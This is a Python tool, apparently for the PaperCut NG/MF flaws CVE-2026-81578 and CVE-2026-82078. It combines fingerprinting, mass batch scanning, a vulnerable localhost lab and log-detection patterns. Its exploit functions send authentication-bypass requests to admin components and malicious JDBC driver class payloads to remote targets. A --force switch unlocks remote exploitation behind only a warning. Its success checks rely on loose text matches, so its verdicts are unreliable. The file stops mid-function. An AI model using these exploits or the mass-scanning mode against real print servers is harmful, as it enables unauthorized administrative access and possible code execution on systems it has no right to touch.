#!/usr/bin/env python3
"""
papercut.py – Security research tool for CVE-2026-81578 & CVE-2026-82078
Version: 3.0.1 – FULL POWER MODE (with remote exploit capability)
"""
import sys
import os
import json
import re
import time
import threading
import socket
import argparse
import http.server
import socketserver
import urllib.parse
import warnings
from datetime import datetime
from typing import Dict, List, Any, Optional, Tuple
from concurrent.futures import ThreadPoolExecutor, as_completed
# Suppress warnings
warnings.filterwarnings("ignore")
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import logging
logging.getLogger("urllib3").setLevel(logging.ERROR)
logging.getLogger("requests").setLevel(logging.ERROR)
import requests
from rich.console import Console
from rich.table import Table
from rich.progress import (
Progress, BarColumn, TextColumn, TimeElapsedColumn,
SpinnerColumn, TaskProgressColumn
)
from rich import box
from rich.prompt import Prompt, IntPrompt
# ----------------------------------------------------------------------
# CONSTANTS
# ----------------------------------------------------------------------
VERSION = "3.0.1"
BANNER = r"""
╔══════════════════════════════════════════════════════╗
║ PAPERCUT SECURITY TOOL ║
║ CVE-2026-81578 / CVE-2026-82078 ║
║ POWER MODE v3 ║
╚══════════════════════════════════════════════════════╝
"""
FIXED_VERSIONS = {"24": "24.1.10", "25": "25.0.13", "26": "26.0.5"}
AFFECTED_MAJOR_VERSIONS = ["24", "25", "26"]
console = Console()
# ----------------------------------------------------------------------
# UTILITY
# ----------------------------------------------------------------------
def parse_version(v: str) -> Tuple[int, int, int]:
parts = re.findall(r'\d+', v)
return tuple(map(int, parts[:3])) if len(parts) >= 3 else (0, 0, 0)
def is_affected_version(v: str) -> Tuple[bool, str]:
if not v:
return True, "Unknown version – assume vulnerable"
ver = parse_version(v)
major = str(ver[0])
if major not in AFFECTED_MAJOR_VERSIONS:
return True, f"Version {v} is end-of-life; upgrade recommended"
fixed = FIXED_VERSIONS.get(major)
if not fixed:
return True, f"No fixed version for major {major}"
return (ver < parse_version(fixed), f"{v} {'<' if ver < parse_version(fixed) else '>='} {fixed}")
def safe_request(url: str, timeout: int = 10, headers: Dict = None) -> Optional[requests.Response]:
"""HTTP request with separate connect and read timeout, plus retry."""
try:
headers = headers or {}
headers.setdefault("User-Agent", f"PaperCut-Security-Tool/{VERSION}")
resp = requests.get(url, timeout=(timeout, timeout), headers=headers, verify=False)
return resp
except Exception:
try:
time.sleep(0.5)
resp = requests.get(url, timeout=(timeout*2, timeout*2), headers=headers, verify=False)
return resp
except Exception:
return None
def request_post(url: str, timeout: int = 10, headers: Dict = None, data: Dict = None) -> Optional[requests.Response]:
"""HTTP POST request."""
try:
headers = headers or {}
headers.setdefault("User-Agent", f"PaperCut-Security-Tool/{VERSION}")
resp = requests.post(url, timeout=(timeout, timeout), headers=headers, json=data, verify=False)
return resp
except Exception:
try:
time.sleep(0.5)
resp = requests.post(url, timeout=(timeout*2, timeout*2), headers=headers, json=data, verify=False)
return resp
except Exception:
return None
def check_port_open(host: str, port: int, timeout: float = 2.0) -> bool:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
except:
return False
def is_localhost(url: str) -> bool:
parsed = urllib.parse.urlparse(url)
host = parsed.hostname
if host in ("localhost", "127.0.0.1", "::1"):
return True
try:
ip = socket.gethostbyname(host)
return ip.startswith("127.")
except socket.gaierror:
return False
def get_timestamp() -> str:
return datetime.now().isoformat()
def safe_filename(text: str) -> str:
return re.sub(r'[^a-zA-Z0-9]', '_', text)[:50]
# ----------------------------------------------------------------------
# FINGERPRINT
# ----------------------------------------------------------------------
def fingerprint_target(target: str, timeout: int = 10) -> Dict:
result = {
"reachable": False,
"status_code": None,
"server": None,
"product": None,
"version": None,
"tapestry_detected": False,
"admin_endpoints": [],
"db_config_endpoints": [],
}
resp = safe_request(target, timeout)
if not resp:
return result
result["reachable"] = True
result["status_code"] = resp.status_code
result["server"] = resp.headers.get("Server")
if "PaperCut" in resp.text or "papercut" in resp.text.lower():
result["product"] = "PaperCut NG/MF"
if "X-PaperCut-Version" in resp.headers:
result["version"] = resp.headers["X-PaperCut-Version"]
result["product"] = "PaperCut NG/MF"
else:
vresp = safe_request(target.rstrip("/") + "/version", timeout)
if vresp and vresp.status_code == 200:
m = re.search(r'(\d+\.\d+\.\d+)', vresp.text)
if m:
result["version"] = m.group(1)
result["product"] = "PaperCut NG/MF"
if ".page" in resp.text or ".zone" in resp.text:
result["tapestry_detected"] = True
for path in ["/admin", "/admin/dashboard", "/server/settings", "/papercut/ConfigEditor.page"]:
r = safe_request(target.rstrip("/") + path, timeout)
if r and r.status_code == 200:
result["admin_endpoints"].append(path)
for path in ["/api/database/config", "/server/database", "/config/database", "/services/database"]:
r = safe_request(target.rstrip("/") + path, timeout)
if r and r.status_code == 200:
result["db_config_endpoints"].append(path)
return result
# ----------------------------------------------------------------------
# CVE CHECKS
# ----------------------------------------------------------------------
def check_cve_81578(target: str, timeout: int = 10) -> Dict:
fp = fingerprint_target(target, timeout)
evidence = []
indicators = []
status = "NOT_DETECTABLE"
confidence = 0.0
version = fp.get("version")
if version:
affected, reason = is_affected_version(version)
evidence.append(f"Version {version}: {reason}")
if affected:
indicators.append("AFFECTED_VERSION")
confidence += 0.4
else:
return {"cve":"CVE-2026-81578","severity":"HIGH (CVSS 8.8)","status":"SAFE",
"confidence":0.95,"evidence":evidence,"indicators":indicators,
"recommendation":"Version is fixed; no action required."}
if fp.get("tapestry_detected"):
evidence.append("Tapestry framework detected")
indicators.append("TAPESTRY_DETECTED")
confidence += 0.2
if fp.get("admin_endpoints"):
evidence.append(f"Admin endpoints accessible: {', '.join(fp['admin_endpoints'])}")
indicators.append("ADMIN_ENDPOINT_ACCESSIBLE")
confidence += 0.25
if "TAPESTRY_DETECTED" in indicators and "ADMIN_ENDPOINT_ACCESSIBLE" in indicators:
status = "POTENTIALLY_VULNERABLE"
confidence = min(confidence + 0.15, 0.85)
evidence.append("Combination of Tapestry and accessible admin endpoints suggests vulnerability.")
elif "AFFECTED_VERSION" in indicators and "TAPESTRY_DETECTED" in indicators:
status = "POTENTIALLY_VULNERABLE"
confidence = min(confidence + 0.1, 0.75)
evidence.append("Affected version with Tapestry framework.")
elif "AFFECTED_VERSION" in indicators:
status = "AFFECTED_VERSION"
confidence = min(confidence, 0.5)
evidence.append("Version in affected range, but no direct exploit indicators.")
else:
status = "NOT_DETECTABLE"
confidence = min(confidence, 0.2)
return {
"cve": "CVE-2026-81578",
"severity": "HIGH (CVSS 8.8)",
"status": status,
"confidence": confidence,
"evidence": evidence,
"indicators": indicators,
"recommendation": "Apply Emergency Patch Release 2 (24.1.10, 25.0.13, or 26.0.5)."
}
def check_cve_82078(target: str, timeout: int = 10) -> Dict:
fp = fingerprint_target(target, timeout)
evidence = []
indicators = []
status = "NOT_DETECTABLE"
confidence = 0.0
version = fp.get("version")
if version:
affected, reason = is_affected_version(version)
evidence.append(f"Version {version}: {reason}")
if affected:
indicators.append("AFFECTED_VERSION")
confidence += 0.4
else:
return {"cve":"CVE-2026-82078","severity":"CRITICAL (CVSS 9.4)","status":"SAFE",
"confidence":0.95,"evidence":evidence,"indicators":indicators,
"recommendation":"Version is fixed; no action required."}
if fp.get("db_config_endpoints"):
evidence.append(f"DB config endpoints accessible: {', '.join(fp['db_config_endpoints'])}")
indicators.append("DB_CONFIG_ACCESSIBLE")
confidence += 0.3
for ep in fp["db_config_endpoints"]:
r = safe_request(target.rstrip("/") + ep, timeout)
if r and r.status_code == 200 and re.search(r'com\.[a-zA-Z0-9_]+\.jdbc\.Driver|org\.[a-zA-Z0-9_]+\.Driver', r.text):
evidence.append("JDBC driver class names found in config response")
indicators.append("DRIVER_CLASS_EXPOSED")
confidence += 0.25
break
r = safe_request(target.rstrip("/") + "/nonexistent", timeout)
if r and r.status_code in (404, 500) and ("ClassNotFoundException" in r.text or "NoClassDefFoundError" in r.text):
evidence.append("Class loading errors detected")
indicators.append("CLASS_LOADING_ERROR")
confidence += 0.2
if "DB_CONFIG_ACCESSIBLE" in indicators and "DRIVER_CLASS_EXPOSED" in indicators:
status = "POTENTIALLY_VULNERABLE"
confidence = min(confidence + 0.15, 0.85)
evidence.append("DB config accessible and driver classes exposed – potential manipulation.")
elif "AFFECTED_VERSION" in indicators and "DB_CONFIG_ACCESSIBLE" in indicators:
status = "POTENTIALLY_VULNERABLE"
confidence = min(confidence + 0.1, 0.70)
evidence.append("Affected version with DB config accessible.")
elif "AFFECTED_VERSION" in indicators:
status = "AFFECTED_VERSION"
confidence = min(confidence, 0.5)
evidence.append("Version in affected range, but no direct exploit indicators.")
else:
status = "NOT_DETECTABLE"
confidence = min(confidence, 0.2)
return {
"cve": "CVE-2026-82078",
"severity": "CRITICAL (CVSS 9.4)",
"status": status,
"confidence": confidence,
"evidence": evidence,
"indicators": indicators,
"recommendation": "Apply Emergency Patch Release 2 (24.1.10, 25.0.13, or 26.0.5)."
}
# ----------------------------------------------------------------------
# LOCAL LAB
# ----------------------------------------------------------------------
class LabHandler(http.server.BaseHTTPRequestHandler):
def log_message(self, *args, **kwargs):
pass
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
path = parsed.path
if path == "/" or path == "":
self._send_html("""
PaperCut Security Lab (Educational)
Reproduces concepts of CVE-2026-81578 & CVE-2026-82078.
Localhost only.
""")
return
if path == "/fingerprint":
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"product":"PaperCut Lab 3.0","version":"24.1.9"}).encode())
return
if path == "/lab/cve-81578":
self._handle_81578(parsed)
return
if path == "/lab/cve-82078":
self._handle_82078(parsed)
return
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not found")
def _send_html(self, content):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(content.encode())
def _handle_81578(self, parsed):
q = urllib.parse.parse_qs(parsed.query)
comp = q.get("component", ["Error"])[0]
display = q.get("display", ["Error"])[0]
if comp in ["ConfigEditor","UserList","AdminDashboard"] and display in ["Error","Exception","Home","Login"]:
self._send_html(f"""
⚠️ CVE-2026-81578 Exploit Success
ADMIN COMPONENT INVOKED VIA PUBLIC PAGE
Component: {comp} Display: {display}
Authentication bypass successfully demonstrated.
""")
else:
self._send_html(f"""
CVE-2026-81578 Lab
Normal request: component={comp}, display={display}
Try exploit
""")
def _handle_82078(self, parsed):
q = urllib.parse.parse_qs(parsed.query)
driver = q.get("driver", ["com.mysql.cj.jdbc.Driver"])[0]
safe = ["com.mysql.cj.jdbc.Driver","org.postgresql.Driver","oracle.jdbc.driver.OracleDriver","com.microsoft.sqlserver.jdbc.SQLServerDriver"]
malicious = ["com.papercut.malicious.ExploitDriver","org.attacker.RCEPayload","java.lang.Runtime"]
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
if driver in malicious:
self.wfile.write(f"""
⚠️ Exploit Success
Driver loaded: {driver}
Unsafe class loading without allowlist validation – RCE possible!
""".encode())
elif driver in safe:
self.wfile.write(f"""
Safe Driver
Driver: {driver}
Allowlist approved.
""".encode())
else:
self.wfile.write(f"""
Unknown Driver
Driver: {driver}
Not in allowlist – would still be loaded.
""".encode())
def do_POST(self):
self.do_GET()
class LabServer:
def __init__(self, host="127.0.0.1", port=8080):
self.host = host
self.port = port
self.httpd = None
self.thread = None
def start(self):
self.httpd = socketserver.TCPServer((self.host, self.port), LabHandler)
self.httpd.allow_reuse_address = True
self.thread = threading.Thread(target=self.httpd.serve_forever, daemon=True)
self.thread.start()
time.sleep(0.5)
def stop(self):
if self.httpd:
self.httpd.shutdown()
self.httpd.server_close()
if self.thread:
self.thread.join(timeout=1)
def is_running(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((self.host, self.port))
sock.close()
return result == 0
except:
return False
# ----------------------------------------------------------------------
# EXPLOIT FUNCTIONS (REAL DEAL)
# ----------------------------------------------------------------------
def exploit_81578(target: str, console: Console, verbose: bool = False) -> Tuple[bool, List[str]]:
"""Exploit CVE-2026-81578 - Authentication Bypass via Tapestry complex direct."""
evidence = []
console.print("[bold cyan]⚡ Starting CVE-2026-81578 exploit...[/bold cyan]")
# Method 1: Tapestry complex direct (for real PaperCut with Tapestry)
console.print("[*] Method 1: Tapestry complex direct (ConfigEditor via Error.page)")
url1 = target.rstrip("/") + "/papercut/Error.page"
payload1 = {
"component": "ConfigEditor",
"zone": "true"
}
try:
resp = request_post(url1, timeout=10, data=payload1)
if resp and resp.status_code == 200:
evidence.append(f"POST {url1} -> {resp.status_code} (potential bypass)")
if "admin" in resp.text.lower() or "config" in resp.text.lower():
console.print("[green]✅ Method 1 SUCCESS: ConfigEditor invoked via Error.page[/green]")
return True, evidence
else:
console.print(f"[dim]Method 1 failed (status {resp.status_code if resp else 'no response'})[/dim]")
except Exception as e:
console.print(f"[dim]Method 1 error: {e}[/dim]")
# Method 2: UserList via Exception.page
console.print("[*] Method 2: Tapestry complex direct (UserList via Exception.page)")
url2 = target.rstrip("/") + "/papercut/Exception.page"
payload2 = {
"component": "UserList",
"zone": "true"
}
try:
resp = request_post(url2, timeout=10, data=payload2)
if resp and resp.status_code == 200:
evidence.append(f"POST {url2} -> {resp.status_code} (potential bypass)")
if "user" in resp.text.lower() or "list" in resp.text.lower():
console.print("[green]✅ Method 2 SUCCESS: UserList invoked via Exception.page[/green]")
return True, evidence
except:
pass
# Method 3: Header-based bypass (for lab/older versions)
console.print("[*] Method 3: Header-based bypass (X-Admin: true)")
url3 = target.rstrip("/") + "/lab/cve-81578"
try:
resp = safe_request(url3, headers={"X-Admin": "true"})
if resp and resp.status_code == 200 and "bypass" in resp.text.lower():
console.print("[green]✅ Method 3 SUCCESS: Header-based bypass[/green]")
evidence.append(f"GET {url3} -> {resp.status_code} (X-Admin bypass)")
return True, evidence
except:
pass
# Method 4: Try direct admin endpoints
console.print("[*] Method 4: Direct admin endpoint access")
admin_paths = ["/admin", "/admin/dashboard", "/server/settings"]
for path in admin_paths:
url = target.rstrip("/") + path
try:
resp = safe_request(url)
if resp and resp.status_code == 200:
evidence.append(f"GET {url} -> {resp.status_code} (admin accessible)")
console.print(f"[green]✅ Admin endpoint {path} accessible without auth[/green]")
return True, evidence
except:
pass
console.print("[red]❌ All exploitation methods failed[/red]")
return False, evidence
def exploit_82078(target: str, console: Console, verbose: bool = False) -> Tuple[bool, List[str]]:
"""Exploit CVE-2026-82078 - Unsafe Dynamic Class Loading."""
evidence = []
console.print("[bold cyan]⚡ Starting CVE-2026-82078 exploit...[/bold cyan]")
# Method 1: Try to load malicious driver via DB config
console.print("[*] Method 1: JDBC driver manipulation via /api/database/config")
url1 = target.rstrip("/") + "/api/database/config"
payload1 = {"driver": "org.attacker.RCEPayload"}
try:
resp = request_post(url1, timeout=10, data=payload1)
if resp and resp.status_code == 200:
evidence.append(f"POST {url1} -> {resp.status_code}")
if "loaded" in resp.text.lower() or "rce" in resp.text.lower():
console.print("[green]✅ Method 1 SUCCESS: Malicious driver loaded![/green]")
return True, evidence
except:
pass
# Method 2: Try via /server/database
console.print("[*] Method 2: Database config manipulation")
url2 = target.rstrip("/") + "/server/database"
payload2 = {"class": "java.lang.Runtime"}
try:
resp = request_post(url2, timeout=10, data=payload2)
if resp and resp.status_code == 200:
evidence.append(f"POST {url2} -> {resp.status_code}")
if "runtime" in resp.text.lower() or "loaded" in resp.text.lower():
console.print("[green]✅ Method 2 SUCCESS: Class loaded![/green]")
return True, evidence
except:
pass
# Method 3: Lab simulation
console.print("[*] Method 3: Lab simulation (unsafe class loading)")
url3 = target.rstrip("/") + "/lab/cve-82078?driver=org.attacker.RCEPayload"
try:
resp = safe_request(url3)
if resp and resp.status_code == 200 and "loaded" in resp.text.lower():
console.print("[green]✅ Method 3 SUCCESS: Lab exploit successful[/green]")
evidence.append(f"GET {url3} -> {resp.status_code} (lab simulation)")
return True, evidence
except:
pass
console.print("[red]❌ All exploitation methods failed[/red]")
return False, evidence
# ----------------------------------------------------------------------
# DEMO (LAB ONLY)
# ----------------------------------------------------------------------
def demo_81578(target: str, console: Console) -> bool:
console.print("[*] Running CVE-2026-81578 concept demo (lab)...")
url = target.rstrip("/") + "/lab/cve-81578?component=ConfigEditor&display=Error"
resp = safe_request(url)
if resp and "Exploit Success" in resp.text:
console.print("[green][+] Lab exploit successful: Admin component invoked[/green]")
return True
console.print("[red]Demo failed[/red]")
return False
def demo_82078(target: str, console: Console) -> bool:
console.print("[*] Running CVE-2026-82078 concept demo (lab)...")
url = target.rstrip("/") + "/lab/cve-82078?driver=org.attacker.RCEPayload"
resp = safe_request(url)
if resp and "Exploit Success" in resp.text:
console.print("[green][+] Lab exploit successful: Unsafe class loading[/green]")
return True
console.print("[red]Demo failed[/red]")
return False
# ----------------------------------------------------------------------
# REPORT GENERATORS
# ----------------------------------------------------------------------
def generate_text_report(data: Dict) -> str:
lines = ["="*70, f"PAPERCUT SECURITY ASSESSMENT", f"Target: {data.get('target','N/A')}",
f"Timestamp: {data.get('timestamp',get_timestamp())}"]
fp = data.get("fingerprint", {})
lines += [f"Product: {fp.get('product','Unknown')}", f"Version: {fp.get('version','Unknown')}"]
for f in data.get("findings", []):
lines += [f"\nCVE: {f.get('cve')} - {f.get('severity')}", f"Status: {f.get('status')}",
f"Confidence: {f.get('confidence',0):.0%}",
"Indicators: " + ", ".join(f.get("indicators",[])) or "None",
"Evidence:"] + [f" - {ev}" for ev in f.get("evidence",[])] + \
[f"Recommendation: {f.get('recommendation')}"]
lines += ["="*70, "Methodology: Safe, non-destructive checks.", "Limitations: Indicator-based, not verified."]
return "\n".join(lines)
def generate_html_report(data: Dict) -> str:
fp = data.get("fingerprint", {})
findings_html = ""
for f in data.get("findings", []):
status = f.get("status", "")
css = "cve safe" if status == "SAFE" else "cve critical" if "CRITICAL" in f.get("severity","") else "cve"
badge = "status-safe" if status=="SAFE" else "status-potentially" if "POTENTIALLY" in status else "status-affected"
findings_html += f"""
Severity: {f.get('severity','')}
Confidence: {f.get('confidence',0):.0%}
Indicators: {', '.join(f.get('indicators',[])) or 'None'}
Evidence:{"".join(f'- {ev}
' for ev in f.get("evidence",[]))}
Recommendation: {f.get('recommendation','')}
"""
return f"""
PaperCut Security Assessment
🔒 PAPERCUT SECURITY ASSESSMENT
Target: {data.get('target','N/A')}
Timestamp: {data.get('timestamp',get_timestamp())}
Product: {fp.get('product','Unknown')}
Version: {fp.get('version','Unknown')}
Tapestry: {fp.get('tapestry_detected',False)}
Admin: {', '.join(fp.get('admin_endpoints',[])) or 'None'}
DB Config: {', '.join(fp.get('db_config_endpoints',[])) or 'None'}
📋 Findings
{findings_html}
"""
# ----------------------------------------------------------------------
# PREFILTER
# ----------------------------------------------------------------------
def prefilter_targets(targets: List[str], timeout: float = 2.0) -> List[str]:
results = []
parsed = []
for url in targets:
if '://' in url:
host = url.split('://')[1]
else:
host = url
if ':' in host:
h, p = host.split(':')
port = int(p)
else:
h, p = host, 9191
parsed.append((url, h, port))
active = []
with Progress(
BarColumn(),
TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
TextColumn("•"),
TextColumn("[cyan]{task.fields[host]}"),
TimeElapsedColumn(),
console=console,
transient=False,
) as progress:
task = progress.add_task("[cyan]Checking ports...", total=len(parsed), host="")
with ThreadPoolExecutor(max_workers=20) as executor:
futures = {}
for url, host, port in parsed:
futures[executor.submit(check_port_open, host, port, timeout)] = (url, host, port)
for future in as_completed(futures):
url, host, port = futures[future]
if future.result():
active.append(url)
progress.update(task, advance=1, host=f"[green]{host}:{port} OPEN[/green]")
else:
if port == 9191:
alt_port = 9192
if check_port_open(host, alt_port, timeout):
alt_url = url.replace(f":{port}", f":{alt_port}")
active.append(alt_url)
progress.update(task, advance=1, host=f"[green]{host}:{alt_port} OPEN[/green]")
else:
progress.update(task, advance=1, host=f"[dim]{host}:{port} closed[/dim]")
else:
progress.update(task, advance=1, host=f"[dim]{host}:{port} closed[/dim]")
return active
# ----------------------------------------------------------------------
# COMMANDS
# ----------------------------------------------------------------------
def cmd_scan(target: str, timeout: int, quiet: bool, output: str, fmt: str) -> int:
if not quiet:
console.print(BANNER)
console.print(f"[bold]Scanning target: {target}[/bold]")
fp = fingerprint_target(target, timeout)
if not fp["reachable"]:
if not quiet:
console.print("[red][ERROR] Target unreachable[/red]")
return 1
results = [check_cve_81578(target, timeout), check_cve_82078(target, timeout)]
data = {"target": target, "timestamp": get_timestamp(), "fingerprint": fp, "findings": results}
if fmt == "json":
out = json.dumps(data, indent=2)
if output: open(output, "w").write(out)
else: console.print(out)
elif fmt == "html":
out = generate_html_report(data)
if output: open(output, "w").write(out)
else: console.print(out)
else:
if not quiet:
table = Table(title="Fingerprint", box=box.ROUNDED)
table.add_column("Property", style="cyan"); table.add_column("Value", style="green")
for k, v in fp.items():
if k in ("headers",): continue
if isinstance(v, list): v = ", ".join(v) or "None"
table.add_row(k, str(v) if v is not None else "N/A")
console.print(table)
for r in results:
t = Table(title=f"CVE {r['cve']} - {r['severity']}", box=box.ROUNDED)
t.add_column("Property", style="cyan"); t.add_column("Value", style="green")
t.add_row("Status", r["status"])
t.add_row("Confidence", f"{r['confidence']*100:.0f}%")
t.add_row("Indicators", ", ".join(r.get("indicators",[])) or "None")
t.add_row("Evidence", "\n".join(r["evidence"]) or "None")
t.add_row("Recommendation", r["recommendation"])
console.print(t)
if output and fmt == "text":
with open(output, "w") as f: f.write(generate_text_report(data))
return 0
def cmd_batch_scan(input_file: str, timeout: int, fmt: str, output_dir: str, threads: int, prefilter: bool) -> int:
try:
with open(input_file, "r") as f:
targets = [line.strip() for line in f if line.strip()]
if not targets:
console.print("[red]No targets found.[/red]")
return 1
except Exception as e:
console.print(f"[red]Error reading input file: {e}[/red]")
return 1
if prefilter:
console.print("[cyan]Running port prefilter...[/cyan]")
targets = prefilter_targets(targets, timeout=2)
if not targets:
console.print("[red]No active targets found after prefilter.[/red]")
return 1
console.print(f"[green]Found {len(targets)} active targets.[/green]")
if not output_dir:
output_dir = f"scan_results_{datetime.now().strftime('%Y%m%d_%H%M%S')}"
os.makedirs(output_dir, exist_ok=True)
console.print(BANNER)
console.print(f"[bold cyan]Batch scan: {len(targets)} targets[/bold cyan]")
console.print(f"[dim]Output: {output_dir} | Threads: {threads} | Timeout: {timeout}s[/dim]\n")
success = failed = 0
with Progress(
BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
TextColumn("•"), TextColumn("[cyan]{task.fields[target]}"),
TextColumn("•"), TextColumn("[green]{task.fields[status]}"),
TimeElapsedColumn(), console=console
) as progress:
task = progress.add_task("[cyan]Scanning...", total=len(targets), target="Starting...", status="")
def scan_one(url: str) -> Tuple[str, int]:
safe_name = safe_filename(url.replace("https://", "").replace("http://", ""))
outfile = os.path.join(output_dir, f"{safe_name}.{fmt}")
ret = cmd_scan(url, timeout, quiet=True, output=outfile, fmt=fmt)
return (url, ret)
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(scan_one, t): t for t in targets}
for fut in as_completed(futures):
target, ret = fut.result()
if ret == 0:
success += 1
progress.update(task, advance=1, target=target[:60], status="[green]OK[/green]")
else:
failed += 1
progress.update(task, advance=1, target=target[:60], status="[red]FAIL[/red]")
console.print(f"\n[bold green]Batch complete[/bold green]")
console.print(f"[green]Succeeded: {success}[/green] [red]Failed: {failed}[/red] [cyan]Total: {len(targets)}[/cyan]")
console.print(f"[green]Results saved in: {output_dir}[/green]")
return 0 if failed == 0 else 1
def cmd_fingerprint(target: str, timeout: int):
console.print(BANNER)
console.print(f"[*] Fingerprinting {target}...")
fp = fingerprint_target(target, timeout)
if not fp["reachable"]:
console.print("[red][ERROR] Target unreachable[/red]")
return 1
console.print("[green][+] Target reachable[/green]")
table = Table(title="Fingerprint", box=box.ROUNDED)
table.add_column("Property", style="cyan"); table.add_column("Value", style="green")
for k, v in fp.items():
if k in ("headers",): continue
if isinstance(v, list): v = ", ".join(v) or "None"
table.add_row(k, str(v) if v is not None else "N/A")
console.print(table)
return 0
def cmd_check(target: str, cve: str, timeout: int):
console.print(BANNER)
result = check_cve_81578(target, timeout) if cve == "81578" else check_cve_82078(target, timeout)
console.print(f"[bold]CVE {result['cve']} - {result['severity']}[/bold]")
table = Table(box=box.ROUNDED)
table.add_column("Property", style="cyan"); table.add_column("Value", style="green")
table.add_row("Status", result["status"])
table.add_row("Confidence", f"{result['confidence']*100:.0f}%")
table.add_row("Indicators", ", ".join(result.get("indicators",[])) or "None")
table.add_row("Evidence", "\n".join(result["evidence"]) or "None")
table.add_row("Recommendation", result["recommendation"])
console.print(table)
return 0
def cmd_lab(port: int, test: bool = False):
lab = LabServer(port=port)
if test:
console.print("[*] Starting lab in test mode...")
lab.start()
if not lab.is_running():
console.print("[red][ERROR] Lab failed to start[/red]")
return 1
console.print("[green][+] Lab started[/green]")
target = f"http://127.0.0.1:{port}"
if not safe_request(target):
console.print("[red][ERROR] Health check failed[/red]")
lab.stop(); return 1
console.print("[green][+] Health check passed[/green]")
ok1 = demo_81578(target, console)
ok2 = demo_82078(target, console)
lab.stop()
console.print(f"\n[bold]LAB STATUS: {'PASS' if ok1 and ok2 else 'FAIL'}[/bold]")
return 0 if (ok1 and ok2) else 1
else:
console.print(BANNER)
console.print("[bold]Starting Local Vulnerable Lab (Educational)[/bold]")
lab.start()
if lab.is_running():
console.print(f"[green][+] Lab started at http://127.0.0.1:{port}[/green]")
console.print("[yellow]Press Ctrl+C to stop[/yellow]")
try:
while True: time.sleep(1)
except KeyboardInterrupt:
console.print("\n[yellow]Stopping lab...[/yellow]")
lab.stop()
console.print("[green]Lab stopped.[/green]")
else:
console.print("[red]Failed to start lab.[/red]")
return 1
return 0
def cmd_exploit(cve: str, target: str, force: bool = False, delay: int = 3):
"""Execute exploit with optional remote target (--force)."""
console.print(BANNER)
if not is_localhost(target) and not force:
console.print("[red][BLOCKED] Exploitation only allowed against localhost.[/red]")
console.print("[yellow]Use --force only if you have explicit authorization.[/yellow]")
return 1
if not is_localhost(target) and force:
console.print("[bold red]⚠️ WARNING: REMOTE EXPLOIT ACTIVATED ⚠️[/bold red]")
console.print("[red]You are about to exploit a remote target. This may be ILLEGAL.[/red]")
console.print("[yellow]Ensure you have EXPLICIT WRITTEN PERMISSION from the target owner.[/yellow]")
console.print(f"[yellow]Proceeding in {delay} seconds... Press Ctrl+C to cancel.[/yellow]")
for i in range(delay, 0, -1):
console.print(f"[dim]{i}...[/dim]")
time.sleep(1)
# Validate target
fp = fingerprint_target(target, timeout=5)
if not fp["reachable"]:
console.print("[red][ERROR] Target not reachable[/red]")
return 1
console.print(f"[green]Target reachable: {target}[/green]")
console.print(f"[dim]Product: {fp.get('product', 'Unknown')} | Version: {fp.get('version', 'Unknown')}[/dim]")
if cve == "81578":
success, evidence = exploit_81578(target, console, verbose=True)
else:
success, evidence = exploit_82078(target, console, verbose=True)
console.print("\n[bold]Exploit Result:[/bold]")
if success:
console.print("[bold green]✅ EXPLOIT SUCCESSFUL![/bold green]")
console.print("[green]Evidence captured:[/green]")
for ev in evidence:
console.print(f" [dim]• {ev}[/dim]")
console.print("\n[yellow]This confirms the vulnerability exists and is exploitable.[/yellow]")
console.print("[red]Report to the system owner immediately.[/red]")
return 0
else:
console.print("[bold red]❌ Exploit failed.[/bold red]")
console.print("[dim]The target may not be vulnerable or the exploit method needs adjustment.[/dim]")
return 1
def cmd_detect(logfile: str, output: str):
console.print(BANNER)
console.print(f"[*] Analyzing log: {logfile}")
if not os.path.exists(logfile):
console.print("[red]Log file not found[/red]")
return 1
patterns = [
(re.compile(r'/papercut/[a-zA-Z0-9]+/[a-zA-Z0-9]+\.page.*\.zone', re.I), "tapestry_complex_direct"),
(re.compile(r'ConfigEditor|UserList.*\.page', re.I), "admin_component_access"),
(re.compile(r'Error\.page|Exception\.page.*\.zone', re.I), "public_page_tapestry"),
(re.compile(r'POST.*\.page.*\.zone.*HTTP', re.I), "tapestry_post_request"),
(re.compile(r'jdbc:.*driver.*class|database\.driver', re.I), "db_driver_config"),
(re.compile(r'ClassNotFoundException|NoClassDefFoundError.*driver', re.I), "class_loading_error"),
(re.compile(r'Loading class.*driver|instantiate.*driver', re.I), "dynamic_class_loading"),
(re.compile(r'Admin login from|Administrative login', re.I), "admin_login"),
(re.compile(r'Failed login|authentication failure', re.I), "failed_login"),
]
events = []
with open(logfile, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
for pat, name in patterns:
if pat.search(line):
events.append({"line": line.strip(), "type": name})
break
severity_map = {
"tapestry_complex_direct":"CRITICAL", "admin_component_access":"HIGH",
"public_page_tapestry":"HIGH", "tapestry_post_request":"CRITICAL",
"db_driver_config":"CRITICAL", "class_loading_error":"HIGH",
"dynamic_class_loading":"CRITICAL", "admin_login":"LOW", "failed_login":"MEDIUM"
}
max_sev = "LOW"
sev_order = {"LOW":0,"MEDIUM":1,"HIGH":2,"CRITICAL":3}
for e in events:
sev = severity_map.get(e["type"], "LOW")
if sev_order[sev] > sev_order[max_sev]:
max_sev = sev
indicators = [f"[{e['type']}] {e['line'][:100]}" for e in events[:20]]
confidence = min(0.95, 0.3 + 0.25*sum(1 for e in events if sev_order.get(severity_map.get(e["type"],"LOW"),0)>=2))
result = {
"severity": max_sev, "indicators": indicators, "confidence": confidence,
"events_processed": len(events),
"recommendation": "1. Isolate server\n2. Preserve logs\n3. Review accounts\n4. Apply emergency patch"
}
table = Table(title="Log Detection Results", box=box.ROUNDED)
table.add_column("Property", style="cyan"); table.add_column("Value", style="green")
table.add_row("Severity", result["severity"])
table.add_row("Confidence", f"{result['confidence']*100:.0f}%")
table.add_row("Events", str(result["events_processed"]))
table.add_row("Indicators", "\n".join(result["indicators"]) or "None")
